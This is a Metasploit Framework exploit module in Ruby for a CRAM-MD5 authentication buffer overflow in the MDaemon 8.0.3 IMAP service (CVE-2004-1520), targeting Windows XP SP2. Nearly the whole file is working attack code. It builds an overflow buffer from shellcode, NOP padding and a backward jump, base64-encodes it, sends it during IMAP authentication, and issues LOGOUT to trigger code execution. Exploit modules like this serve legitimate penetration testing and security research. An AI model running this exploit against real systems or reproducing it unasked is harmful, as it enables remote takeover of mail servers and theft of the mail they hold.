Mdaemon 8.0.3 IMAPD CRAM-MD5 Authentication Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Imap  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Mdaemon 8.0.3 IMAPD CRAM-MD5 Authentication Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in the CRAM-MD5  
authentication of the MDaemon IMAP service. This  
vulnerability was discovered by Muts.  
  
},  
'Author' => [ 'anonymous' ],  
'License' => BSD_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2004-1520'],  
[ 'OSVDB', '11838'],  
[ 'BID', '11675'],  
  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},   
'Payload' =>  
{  
'Space' => 500,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'MDaemon IMAP 8.0.3 Windows XP SP2', { } ],  
],  
'DisclosureDate' => 'Nov 12 2004',  
'DefaultTarget' => 0))  
end  
  
def exploit  
connect  
  
print_status("Asking for CRAM-MD5 authentication...")  
sock.put("a001 authenticate cram-md5\r\n")  
res = sock.get_once  
  
  
print_status("Received CRAM-MD5 answer: #{res.chomp}")  
# Magic no return-address exploitation ninjaness!  
buf = 'AAAA' + payload.encoded + make_nops(258) + "\xe9\x05\xfd\xff\xff"  
req = Rex::Text.encode_base64(buf) + "\r\n"  
sock.put(req)  
res = sock.get_once  
  
print_status("Received authentication reply: #{res.chomp}")  
print_status("Sending LOGOUT to close the thread and trigger an exception")  
sock.put("a002 LOGOUT\r\n")  
res = sock.get_once  
  
print_status("Received LOGOUT reply: #{res.chomp}")  
sleep(1)  
  
handler  
disconnect  
end  
  
end  
`